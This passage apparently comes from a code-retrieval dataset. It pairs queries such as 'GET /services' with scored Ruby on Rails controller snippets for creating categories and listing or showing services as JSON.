ActiveRecord::RecordInvalid => e\n # If save fails, redisplay the form so user can fix categories\n @errors = e.record\n @category_options = Category.all.unshift( Category.new( :name => \"No Parent\" ) )\n flash[:notice] = \"Errors prevented the category from saving\"\n render('new')\n end\n \n end", "title": "" }, { "docid": "a7256f6574554c734423bc5055ea26cd", "score": "0.751962", "text": "def addcategory\n @cat = Category.new\n @cat.categoryname = params[:addcat]\n @cat.postcount = 0\n @cat.save\n\n respond_to do |format|\n format.html {\n flash[:notice] = 'Category Added Successfully'\n render :template => \"/homepages/adminform\"\n }\n end\n end", "title": "" }, { "docid": "241684e8ee5f102195c9166cb908ef7a", "score": "0.7513401", "text": "def create\n @category = Category.new(category_params)\n\n if @category.save\n flash[:notice] = I18n.t('admin.categories.new.success', :name => @category.name)\n redirect_to :action => :index\n else\n render :action => :new\n end\n end", "title": "" }, { "docid": "ad52e35521321087c88250c274bfd4b9", "score": "0.7499953", "text": "def create\n @category = Category.new(params[:category])\n if @category.save\n flash[:notice] = \"Categoría creada exitosamente.\"\n redirect_to categories_url\n else\n render :action => 'new'\n end\n end", "title": "" }, { "docid": "49a8b0be1a2f000d2f595c5931357f35", "score": "0.7492336", "text": "def uhook_create_category\n ::Category.new(params[:category])\n end", "title": "" }, { "docid": "d1d444424bff7a32a043cabcdf46702c", "score": "0.7491143", "text": "def create\n @category = Category.new(category_params)\n if @category.save\n activity_log(\"created <b>#{@category.name}</b> category\")\n redirect_to admin_index_path\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "b8be94a6a7fd7bcdc619cb0686724902", "score": "0.74898535", "text": "def new\n @categories = Category.all\n end", "title": "" }, { "docid": "f4e68a5ac52230850631e2773798aebb", "score": "0.7474512", "text": "def create\n @category = Category.new(categories_params)\n\n if @category.save\n redirect_to [:admin, :categories], notice: 'Categories created!'\n else\n render :new\n end\n #\"ELSE\" if the save wasnt successful then redirct back to the new \"form\" page (same page they are one)\n end", "title": "" }, { "docid": "a7e5759e6a0c085181a5bfeb2c772ed0", "score": "0.74703467", "text": "def create\n @category = Category.new(category_params)\n if @category.save\n redirect_to categories_url\n else \n render \"new\"\n end\n end", "title": "" }, { "docid": "af625e622a6921722b9f6e53c611d4d3", "score": "0.74609876", "text": "def new\n @category = Category.new\n end", "title": "" }, { "docid": "0639d50448af8144e6ffb729375524c7", "score": "0.74423623", "text": "def ce_new_cat\n assert_privileges(\"region_edit\")\n\n ce_get_form_vars\n if params[:classification_name]\n @cat = Classification.lookup_by_name(params[\"classification_name\"])\n ce_build_screen # Build the Classification Edit screen\n render :update do |page|\n page << javascript_prologue\n page.replace(:tab_div, :partial => \"settings_co_tags_tab\")\n end\n end\n end", "title": "" }, { "docid": "11a2d6d08930410678e88d2071c8c28b", "score": "0.74033815", "text": "def create\n # Create the new category object\n @category = Category.new(category_params)\n\n # Try and save to the database. If we have errors, we will redirect to the new category form\n if @category.save\n # Redirect to the category list\n redirect_to categories_path\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "6de5250a077dc1ea04b6864bc79eb4a1", "score": "0.73988044", "text": "def create\n\t\t@category = Category.new(category_params)\n\t\t# When form validation met\n\t\tif @category.save\n\t\t\tflash[:success] = \"New Category created\"\n\t\t\tredirect_to root_path\n\t\telse\n\t\t# When validation not met\n\t\t\trender :new\n\t\t\tflash[:success] = \"New Category not created\"\t\n\t\tend\n\t\n\tend", "title": "" }, { "docid": "9dfbc167dfe08718d60158c213b9a02d", "score": "0.7392676", "text": "def new #route here from creating a new product\n @category = Category.new\n end", "title": "" }, { "docid": "62b04c60a9db519f2d4d6acd815cfbaf", "score": "0.73915565", "text": "def new\n @menu = \"category\"\n @board = \"category\"\n @section = \"new\"\n \n @category = Category.new\n @select_main_category = Category.all(:order => [ :priority.asc ]) \n\n render 'admin/categories/category'\n end", "title": "" }, { "docid": "62b04c60a9db519f2d4d6acd815cfbaf", "score": "0.73915565", "text": "def new\n @menu = \"category\"\n @board = \"category\"\n @section = \"new\"\n \n @category = Category.new\n @select_main_category = Category.all(:order => [ :priority.asc ]) \n\n render 'admin/categories/category'\n end", "title": "" }, { "docid": "f119a9917f1ba6f0366c8568119dd284", "score": "0.7377743", "text": "def new\n authorize Category, :new?\n @category = Category.new\n end", "title": "" }, { "docid": "e12df99b0bf4f64ded5f068f42d6fb81", "score": "0.73721176", "text": "def create\n @category = Category.new(category_params)\n if @category.save\n flash[:success] = \"Categoria aggiunta\"\n # redirect to categories index\n redirect_to categories_path\n else\n # if validataion fails redirect to the new category form\n render 'new'\n end\n end", "title": "" }, { "docid": "d09c99d02334f25ff4238e34dc57315d", "score": "0.7365899", "text": "def new\n @category = Category.new\n respond_to do |format|\n format.html { create }\n format.json { render :json => @collection }\n end\n end", "title": "" }, { "docid": "555c4dc9825414c7f1dcbfdf1a84d01b", "score": "0.73556936", "text": "def create\n # Create a new category instance that will be used in the form:\n @category = Category.new(category_params);\n\n if(@category.save)\n # Present a 1-time flash message to the user after redirect:\n flash[:notice] = \"Category created successfully.\";\n\n # If saved to DB successfully, go to show page:\n redirect_to @category;\n else\n # If validations prevented save, reload form (with error message):\n render 'new';\n end\n\n end", "title": "" }, { "docid": "f111ea163c5ba1ede6656a5d1453506c", "score": "0.73417825", "text": "def create\n @category = Category.new(params.require(:category).permit(:name))\n if @category.save\n redirect_to categories_path\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "543e4bc4f54786dccd5f1829099538ab", "score": "0.7340472", "text": "def create\n @category = Category.new(category_params)\n if @category.save\n redirect_to [:admin, :categories], notice: 'Category created!'\n else\n render :new\n end\n end", "title": "" }, { "docid": "d74512c2ea4a78ea5bf92b4789a30454", "score": "0.7334884", "text": "def create\n\t\t@category = Category.new(category_params)\t\t\n\t\t\n\t\t# let's add a conditional statement\n\t\t# rails doens't need curly brackets\n\t\t\n\t\tif @category.save\n\t\t\t\n\t\t\t# tell the user they've created a new category\n\t\t\tflash[:success] = \"Category has been created\"\n\t\t\t#go back to the homepage\n\t\t\tredirect_to root_path\t\t\n\n\t\telse\n\t\t\t# if category does not save stay in create form, but show errors \n\t\t\t# advise the user there's been a validation error\n\t\t\t# we've already got the form we want to show (new.html.erb)\n\n\t\t\trender \"new\"\n\t\t\t# flash[:success] = \"Category was not created, look at errors below\"\n\t\tend\n\t\t\n\n\n\n\tend", "title": "" }, { "docid": "1fb0b5979a7d0a7fb0b92eb33e6f7fb3", "score": "0.73309773", "text": "def new\n @category = Category.new\n respond_with(@category)\n end", "title": "" }, { "docid": "1fb0b5979a7d0a7fb0b92eb33e6f7fb3", "score": "0.73309773", "text": "def new\n @category = Category.new\n respond_with(@category)\n end", "title": "" }, { "docid": "5ed906da4e6ea6b07a7bc829e43c88d9", "score": "0.7303221", "text": "def create\n @cat = Cat.new(cat_params)\n \n if @cat.save\n redirect_to @cat\n else\n render :new\n end\n end", "title": "" }, { "docid": "7b2265d0b082544cd339d4088b05b100", "score": "0.73012465", "text": "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to cp_category_url(@category), notice: 'Катеогория запчастей создана.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ee8a5256eae6d47f12a5d3a251721248", "score": "0.72980773", "text": "def new\n @sub_categoria = SubCategoria.new\n\n render :layout => false\n end", "title": "" }, { "docid": "7acca2293a070f324a8980351353c1be", "score": "0.7294053", "text": "def create\n @category = Category.new(category_params)\n if @category.save\n flash[:notice] = 'Successfully created category!'\n redirect_to categories_path and return\n else\n render action: 'new'\n end\n end", "title": "" }, { "docid": "a488709232114a5f820454ef0f058949", "score": "0.72821075", "text": "def create\n @category = Category.new(params[:category])\n if @category.save\n flash[:notice] = t(:created, :thing => \"category\")\n redirect_to admin_categories_path\n else\n flash[:notice] = t(:not_created, :thing => \"category\")\n render :action => \"new\"\n end\n end", "title": "" }, { "docid": "362f6bdbc5bc2b379d20cc08c8c0dafa", "score": "0.7280847", "text": "def create\n @category = Category.new(params[:category])\n if @category.save\n redirect_to @category, notice: t('controllers.categories.create_success')\n else\n flash[:error] = t(\"controllers.categories.create_fail\")\n render action: \"new\" \n end\n end", "title": "" }, { "docid": "b0c7e8da018819982c2cb3f397249a52", "score": "0.7279013", "text": "def new\n @c_category = CCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @c_category }\n end\n end", "title": "" }, { "docid": "3c94349ce54f7a1b207195289fcaf089", "score": "0.72764367", "text": "def create\n @category = Category.new(category_params)\n\n if @category.save\n redirect_to admin_categories_url, notice: flash_message(:create, model: Category, target: @category.name)\n else\n render :new\n end\n end", "title": "" }, { "docid": "1a01365b4da9e6834a98c64e882e3985", "score": "0.72624636", "text": "def new\n @components_categories_kind = Components::Categories::Kind.new\n respond_to do |format|\n format.js # new.html.erb\n end\n end", "title": "" }, { "docid": "95a95ec5660f02bfa08f42ab34b6a85d", "score": "0.7259297", "text": "def new\n @post = @category.posts.build\n end", "title": "" }, { "docid": "a396748d0476a5d1426729ab2cb2ecaf", "score": "0.7250066", "text": "def create\n @category = Category.new(category_params)\n\n if @category.save\n flash[:success] = 'Category was created successfully'\n redirect_to categories_path\n else \n render 'new'\n end\n end", "title": "" }, { "docid": "917053f9504e476ec58a62ab77d5eba0", "score": "0.7248683", "text": "def new\n @category = Category.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "69014bb1933659e99d378490244316a8", "score": "0.7245898", "text": "def new\n\t\t@category = Category.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @category }\n\t\tend\n\tend", "title": "" }, { "docid": "731eefe7d44fd0770d50778903b5caca", "score": "0.72373146", "text": "def new\n \n @post = Post.new\n # Create a list of categories to appear in the category drop down\n @category_options = Category.sort_by_ancestry(Category.all)\n @post.error_messages.build\n @post.categories.build\n @post.tags.build \n end", "title": "" }, { "docid": "ec9a2f53adc2fd8f737b1a5643bebdc8", "score": "0.7236315", "text": "def new\r\n @category = Category.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @category }\r\n end\r\n end", "title": "" }, { "docid": "104cf661e255c8792ee97275684f3ded", "score": "0.72325003", "text": "def post_newcategory\n Category.create(category_name: params[:category_name])\n redirect_to({controller: \"projects\", :action => \"display_categories\"})\n end", "title": "" }, { "docid": "4e2e5861b54581e0b7ebe2893dad87e5", "score": "0.7230129", "text": "def new\n @category = Category.new\n \n respond_to do |format|\n format.html { render :action => \"new\", :layout => false } # new.html.erb\n #format.xml { render :xml => @category }\n end\n end", "title": "" }, { "docid": "0c323e2b35255daf58c77debc0a5eabf", "score": "0.72123337", "text": "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "ff15704601686b2b9bb295a0b14af22d", "score": "0.7212209", "text": "def new\n @create_category = CreateCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @create_category }\n end\n end", "title": "" }, { "docid": "32dc43a26fefa3b16050bbe4ed2e1c29", "score": "0.72005147", "text": "def create\n @new_category = NewCategory.new(new_category_params)\n\n respond_to do |format|\n if @new_category.save\n format.html { redirect_to @new_category, notice: 'New category was successfully created.' }\n format.json { render :show, status: :created, location: @new_category }\n else\n format.html { render :new }\n format.json { render json: @new_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "80aab89238151fd5d61e0f615417b1f9", "score": "0.71993047", "text": "def new\n @category = Projects::Category.new\n respond_with(@category)\n end", "title": "" }, { "docid": "32daf9cc946fed568127c6e02d97eae2", "score": "0.7198981", "text": "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to admin_categories_path, notice: t('shared.msgs.success_created',\n obj: t('activerecord.models.category', count: 1))}\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "805f4b292aaee16f972f3c29dfcf8a01", "score": "0.7198012", "text": "def new\n @position = Position.new(category_id: params[:category_id])\n @category = @position.category\n end", "title": "" }, { "docid": "142c9843af460205672a84a30fb00da4", "score": "0.71943516", "text": "def new\n @new_category = NewCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_category }\n end\n end", "title": "" }, { "docid": "9725a72642308bd15c95907601e9402f", "score": "0.719346", "text": "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "9725a72642308bd15c95907601e9402f", "score": "0.719346", "text": "def new\n @category = Category.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "title": "" } ]
9b2a9c5aab79ce2c01afcf9b31a6b73e
GET /services GET /services.json
[ { "docid": "29bfd07069fe6534049e9834af65fad2", "score": "0.0", "text": "def index\n if current_driver\n @Driver=Driver.find(params[:driver_id])\n @services = @Driver.services\n else\n @Client=Client.find(params[:client_id])\n @services = @Client.services\n end\n respond_to do |format|\n format.html\n format.csv { send_data @services.to_csv, :filename => 'Reporte.csv' }\n end\n \nend", "title": "" } ]
[ { "docid": "ebe514c18cc054477b6b5147c9a9c89f", "score": "0.76993996", "text": "def services\n get('catalog/services')\n end", "title": "" }, { "docid": "b9fc5ee843e8993c0b85bf69d2815fdc", "score": "0.75796443", "text": "def get_services()\n exec_get(\"#{@base_path}/api/v2/vendors/services.json?api_key=#{@api_key}\")\n end", "title": "" }, { "docid": "a1e35ca87816d3f1e0caf86ff0b0a055", "score": "0.7570952", "text": "def services\n @@api.get(endpoint: \"services\")\n end", "title": "" }, { "docid": "902cc2294479a8e9dab42feb604c1953", "score": "0.757074", "text": "def index\n @services = @client.services(params[:app_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @services }\n end\n end", "title": "" }, { "docid": "2f4e7628681e0af60dfae36e93610551", "score": "0.7553286", "text": "def get_services()\n exec_get(\"#{@base_path}/api/v2/customers/services.json?api_key=#{@api_key}\")\n end", "title": "" }, { "docid": "a2f56bb402efdd7ebdb8ee017cd4a647", "score": "0.74374294", "text": "def service\n\n id = params[:id]\n services = Service.where(cat_id: id)\n render json: {\n services: services\n }\n\n end", "title": "" }, { "docid": "1e86241652bccb1465817e1f67553d9b", "score": "0.7404488", "text": "def index\n @services = Service.order(created_at: :desc)\n json_response(@services)\n end", "title": "" }, { "docid": "b1387c3187cdfd434d955b9bb23e2721", "score": "0.73228085", "text": "def index\n @services = Service.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @services }\n end\n end", "title": "" }, { "docid": "b1387c3187cdfd434d955b9bb23e2721", "score": "0.73228085", "text": "def index\n @services = Service.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @services }\n end\n end", "title": "" }, { "docid": "161793d89766e4601142e9f272a80e6a", "score": "0.73134273", "text": "def index\n render json: Service.all\n end", "title": "" }, { "docid": "6d53f2ae04f7c8988aa317235bb9ecbe", "score": "0.72895736", "text": "def services\n @config = AppConfig.connector\n respond_to do | fmt |\n fmt.json\n end \n end", "title": "" }, { "docid": "a0b9cc4cca60c8588242046649103729", "score": "0.71582586", "text": "def show_service\n @service = Service.find(params[:id])\n render json:@service\n end", "title": "" }, { "docid": "443d99f20c6ce7da68f3f4c1c1ce321f", "score": "0.7108146", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @services }\n end\n end", "title": "" }, { "docid": "5d858a488ec1d3cad9fdd92bd219e380", "score": "0.71016717", "text": "def show\n @service = Service.find_by_id(params[:id])\n render json: @service\n\n end", "title": "" }, { "docid": "04399d657ffcee86b01735e949117ed4", "score": "0.7095096", "text": "def index\n respond_to do |format|\n format.json { render json: Service.all}\n end\n end", "title": "" }, { "docid": "e06838a2160c8cb0f30ed50c7419e257", "score": "0.7079969", "text": "def show\n render json: @service\n end", "title": "" }, { "docid": "e17f088d68533205053c598395b07441", "score": "0.70365345", "text": "def services\n json_data = ::Nexpose::AJAX.get(@nexpose_console, \"#{@url}service/\", ::Nexpose::AJAX::CONTENT_TYPE::JSON)\n JSON.parse(json_data)\n end", "title": "" }, { "docid": "f39583974ac6c3b4edda5190cf4f7abb", "score": "0.7025269", "text": "def index\n @client_services = ClientService.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @client_services }\n end\n end", "title": "" }, { "docid": "571315c1988a4b3c984bf1d1a61466b2", "score": "0.7020173", "text": "def services\n if not @services\n response = _do_call '/1/services/ruby'\n raise 'services call failed', response if response.code.to_i != 200\n @services = JSON.parse(response.body)\n end\n @services\n end", "title": "" }, { "docid": "3a2b168b9042847a2d922fcab2b72bde", "score": "0.697026", "text": "def services\n @services = Service.find(:all, :order => \"area_id, code\")\n respond_to do |format|\n format.json { render :json => @services.to_json }\n format.html { render }\n end\n end", "title": "" }, { "docid": "1ddb9d8e598e8e4661dd833b2b28fb85", "score": "0.69550425", "text": "def show\n @service = @client.service(params[:id], params[:app_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "c4326290473534582f16f9989fd9915c", "score": "0.6954222", "text": "def show\n json_response(@service)\n end", "title": "" }, { "docid": "12bd73d83163e8c5dad9974c9737af0f", "score": "0.69014883", "text": "def index\n #@services = Service.all\n respond_to do |format|\n format.html do\n @services = Service.all\n @services = @services.search_by_name(@services, params['service_name']) if params['service_name'].present?\n @services = @services.search_by_address(@services, params['service_address']) if params['service_address'].present?\n @services = @services.search_by_services(@services, params['service_types']) if params['service_types'].present?\n end\n format.json do\n @services = Service.order(\"service_name\").all\n render json: (@services.map do |s|\n {name: s.service_name }\n end)\n end\n end\n end", "title": "" }, { "docid": "0d35546350d79f2374df78bca574df7c", "score": "0.68840367", "text": "def service\r\n service = Service.find_by(user_id:params[:user_id])\r\n if service\r\n render json: service\r\n else\r\n render json: {errors: ['Service no found.']}, status: 422\r\n end\r\n end", "title": "" }, { "docid": "9c76d2d3ffbfa9e898075588f32a7058", "score": "0.68123853", "text": "def show\n\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "8c84228d456c78e046a5db4f467faaf7", "score": "0.68117315", "text": "def show\n respond_to do |format|\n format.html\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "def8e63ff9c03328bf100a89db31c9d1", "score": "0.6795773", "text": "def index\n services = Rails.cache.fetch('services') { CodeburnerUtil.get_services }\n\n render(:json => { \"count\": services.length, \"results\": services })\n end", "title": "" }, { "docid": "06439bbb8ab82cc08e6ca4e64f4dcd8c", "score": "0.67944616", "text": "def services\n ## specific breakdowns\n @services = Outlet.where(status: 1).group(:service).count\n\n respond_to do |format|\n format.json { render \"services\" }\n end\n end", "title": "" }, { "docid": "47ce7b3d98a4fc8b6fcd69425fcee6fc", "score": "0.6788263", "text": "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "47ce7b3d98a4fc8b6fcd69425fcee6fc", "score": "0.6788263", "text": "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "47ce7b3d98a4fc8b6fcd69425fcee6fc", "score": "0.6788263", "text": "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "47ce7b3d98a4fc8b6fcd69425fcee6fc", "score": "0.6788263", "text": "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "47ce7b3d98a4fc8b6fcd69425fcee6fc", "score": "0.6788263", "text": "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "47ce7b3d98a4fc8b6fcd69425fcee6fc", "score": "0.6788263", "text": "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "8e6668d7d85dfa78f01e767a1c1a1cbd", "score": "0.67388517", "text": "def index\n\t\t@services = services\n\tend", "title": "" }, { "docid": "ebf7404f026e840bb5be10d7f856f9ac", "score": "0.6721493", "text": "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @service }\n end\n end", "title": "" }, { "docid": "991664738b63a4d2aa6c27da6f06fdb4", "score": "0.67187184", "text": "def index\n @services = @university.services\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @services }\n end\n end", "title": "" }, { "docid": "a15716829cf48abc746508578ef4de5c", "score": "0.66985965", "text": "def get_safe_services()\n exec_get(\"#{@base_path}/api/v2/customers/services/safe.json?api_key=#{@api_key}\")\n end", "title": "" }, { "docid": "4561ec2b4265ae764f5109e8db14b422", "score": "0.6676529", "text": "def cabot_service_get(name)\n services = JSON.parse(get_request(\"services/\").body)\n service = services.find {|h1| h1['name']==\"#{name}\"}\n\n return service\nend", "title": "" }, { "docid": "868d2c339668efee8f21ca0ccaf6bcb1", "score": "0.6676149", "text": "def query_services(options = nil)\n require_relative 'service'\n @api.cursor(Service, get_base_api_path() + \"/services\", options)\n end", "title": "" }, { "docid": "868d2c339668efee8f21ca0ccaf6bcb1", "score": "0.6676149", "text": "def query_services(options = nil)\n require_relative 'service'\n @api.cursor(Service, get_base_api_path() + \"/services\", options)\n end", "title": "" }, { "docid": "868d2c339668efee8f21ca0ccaf6bcb1", "score": "0.6676149", "text": "def query_services(options = nil)\n require_relative 'service'\n @api.cursor(Service, get_base_api_path() + \"/services\", options)\n end", "title": "" }, { "docid": "68a6458495d9dcc57cadfb4e5801b67a", "score": "0.66743743", "text": "def index\n @services = Service.where(:company_id => current_user.company.id).paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @services }\n end\n end", "title": "" }, { "docid": "b74696a08113955363e341cb72a892c3", "score": "0.6640082", "text": "def get_saved_services\n array = params[:array]\n shows = get_services(array)\n render json: shows\n end", "title": "" }, { "docid": "c0b7d5a3c22ed2d5546d80dce349ecd1", "score": "0.6622164", "text": "def index\n @rate_services = RateService.all\n render json: @rate_services\n end", "title": "" }, { "docid": "0ec97c5606a3dc2609ae8eeb9825ae01", "score": "0.6611908", "text": "def show\n @app_service = AppService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app_service }\n end\n end", "title": "" }, { "docid": "0ec97c5606a3dc2609ae8eeb9825ae01", "score": "0.6611908", "text": "def show\n @app_service = AppService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app_service }\n end\n end", "title": "" }, { "docid": "473f0ae395e4572c75a87cb853783eaa", "score": "0.65976006", "text": "def show\n @client_service = ClientService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_service }\n end\n end", "title": "" }, { "docid": "ef1afb4bc746c44631da86812ae1460f", "score": "0.65931684", "text": "def show\n @event_service = Event::Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_service }\n end\n end", "title": "" }, { "docid": "852069059646dfd367dfefab5eafa363", "score": "0.658646", "text": "def index\n @value_added_services = ValueAddedService.all\n\n render json: @value_added_services\n end", "title": "" }, { "docid": "4ff5e239af7b668f943095d211344ed5", "score": "0.6579838", "text": "def show\n set_locale unless @locale\n \n if params[:id].to_i.nonzero?\n @service = OneclickRefernet::Service.find_by(id: params[:id])\n elsif params[:service_id] && params[:location_id]\n @service = OneclickRefernet::Service.find_by(\n refernet_service_id: params[:service_id], \n refernet_location_id: params[:location_id])\n end\n \n render json: @service, \n scope: {locale: @locale} \n end", "title": "" }, { "docid": "2bca19e3716ad4f31df07265c4c39824", "score": "0.6578537", "text": "def index\n @services = @user.services\n end", "title": "" }, { "docid": "c984685404a15fb6895e7897e69342f1", "score": "0.65679055", "text": "def index\n @services = Service.all\n end", "title": "" }, { "docid": "c984685404a15fb6895e7897e69342f1", "score": "0.65679055", "text": "def index\n @services = Service.all\n end", "title": "" }, { "docid": "c984685404a15fb6895e7897e69342f1", "score": "0.65679055", "text": "def index\n @services = Service.all\n end", "title": "" }, { "docid": "c984685404a15fb6895e7897e69342f1", "score": "0.65679055", "text": "def index\n @services = Service.all\n end", "title": "" }, { "docid": "c984685404a15fb6895e7897e69342f1", "score": "0.65679055", "text": "def index\n @services = Service.all\n end", "title": "" }, { "docid": "c984685404a15fb6895e7897e69342f1", "score": "0.65679055", "text": "def index\n @services = Service.all\n end", "title": "" }, { "docid": "c984685404a15fb6895e7897e69342f1", "score": "0.65679055", "text": "def index\n @services = Service.all\n end", "title": "" }, { "docid": "a2579d7ab195719504f1df5714e44419", "score": "0.6564079", "text": "def get_services\n with_monitoring do\n raw_response = perform(:get, \"/services?limit=#{LIMIT}&query=#{QUERY}\")\n\n PagerDuty::ExternalServices::Response.from(raw_response)\n end\n end", "title": "" }, { "docid": "2d5e9da8efd18ab488380d05ba043196", "score": "0.6562404", "text": "def list_services(opts= {})\n c = @client[\"#{@account}/services\"]\n headers = gen_headers(opts)\n attempt(opts[:attempts]) do\n do_get(c, headers)\n end\n end", "title": "" }, { "docid": "35a7418c2c3270f7a8cae066b723ac49", "score": "0.6555987", "text": "def services\n @services = Service.all\n end", "title": "" }, { "docid": "e9eca6225880c854e26c5420e54a8378", "score": "0.654998", "text": "def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to service_readme_url(@service) }\n format.json { render json: @service }\n end\n end", "title": "" }, { "docid": "09ea50fc567ff5e5601af3d8910e570a", "score": "0.65454805", "text": "def services_show(r)\n @service = @bearer.service\n raise Sequel::NoMatchingRow.new(Service) if @service.nil?\n if @bearer.path != @service.path\n r.redirect(@service.path, 301)\n else\n @alternatives = ['json', 'json-ld']\n r.html { view('services_show') }\n r.json { render('services_show', :engine => 'yajl') }\n r.jsonld { render('services_show.jsonld', :engine => 'yajl') }\n \"Unsupported format\"\n end\n end", "title": "" }, { "docid": "d7ab48eaca83a36989485a79f8b9996d", "score": "0.6533825", "text": "def services\n url = ['/v1/agent/services']\n\n # If the request fails, it's probably due to a bad path\n # so return a PathNotFound error.\n begin\n ret = @conn.get concat_url url\n rescue Faraday::ClientError\n raise Diplomat::PathNotFound\n end\n JSON.parse(ret.body).tap { |node| OpenStruct.new node }\n end", "title": "" }, { "docid": "1c01d83635a27954cd320212dc87d094", "score": "0.6533631", "text": "def index\n @page_count, @services = Locomotive::Service.paginated(:page => (params[:page] || 1).to_i)\n display @services\n end", "title": "" }, { "docid": "25487a8050bd5c2e6f5913d7dec67186", "score": "0.65260494", "text": "def test_get_all_services\n rest_response = RestClient.get(\"#{RESTAPI_NETWORK}/services?token=#{@@token}\",\n @@headers)\n check_rest_response(rest_response)\n result = JSON.parse(rest_response.body)\n assert(result['count'])\n assert(result['services'])\n assert_not_equal(0, result['count'])\n end", "title": "" }, { "docid": "d4f88a9cd876beb690a7380d8ee38585", "score": "0.6524301", "text": "def acl_services\n authorize!(:view_service_acl)\n\n validate_params({\n :client_id => [:required]\n })\n\n client = get_client(params[:client_id])\n\n services = {}\n client.serviceDescription.each do |servicedescription|\n servicedescription.service.each do |service|\n services[service.serviceCode] = {\n :service_code => service.serviceCode,\n :title => service.title,\n :service_description_type => DescriptionType::WSDL == servicedescription.type ? 'WSDL' : DescriptionType::REST == servicedescription.type ? 'REST' : 'OPENAPI3'\n }\n end\n end\n\n services_sorted = services.values.sort do |x, y|\n x[:service_code] <=> y[:service_code]\n end\n\n render_json(services_sorted)\n end", "title": "" }, { "docid": "42fe3bceaa3025128af3ef422c2b7c5d", "score": "0.65147805", "text": "def index\n if logged_in?\n @services = Service.all\n else\n @services = Service.where(:active => true)\n end\n @service_appointment = ServiceAppointment.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @services }\n end\n end", "title": "" }, { "docid": "f576b682d5a488d31a80d8be035d9339", "score": "0.6480296", "text": "def show\n @services = Service.all\n # @service = Service.find(params[:id])\n end", "title": "" }, { "docid": "f576b682d5a488d31a80d8be035d9339", "score": "0.6480296", "text": "def show\n @services = Service.all\n # @service = Service.find(params[:id])\n end", "title": "" }, { "docid": "54d5bf0627198453042b9795852b4216", "score": "0.64499575", "text": "def services\n if @services.nil?\n @services = []\n info[:services].each do |uri|\n @services.push(client.services.get_from_uri(uri))\n end\n end\n @services\n end", "title": "" }, { "docid": "31d309f4c4b1f1bfa65f28a22c9c06d0", "score": "0.6444706", "text": "def index\r\n @services = Service.all\r\n end", "title": "" }, { "docid": "3773b6fc7116f0d267efa99152587211", "score": "0.64434737", "text": "def list_services_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ServiceApi.list_services ...'\n end\n if @api_client.config.client_side_validation && opts[:'order'] && !['asc', 'desc'].include?(opts[:'order'])\n fail ArgumentError, 'invalid value for \"order\", must be one of asc, desc'\n end\n # resource path\n local_var_path = '/v1/services'\n\n # query parameters\n query_params = {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'sortField'] = opts[:'sort_field'] if !opts[:'sort_field'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n query_params[:'query'] = opts[:'query'] if !opts[:'query'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = 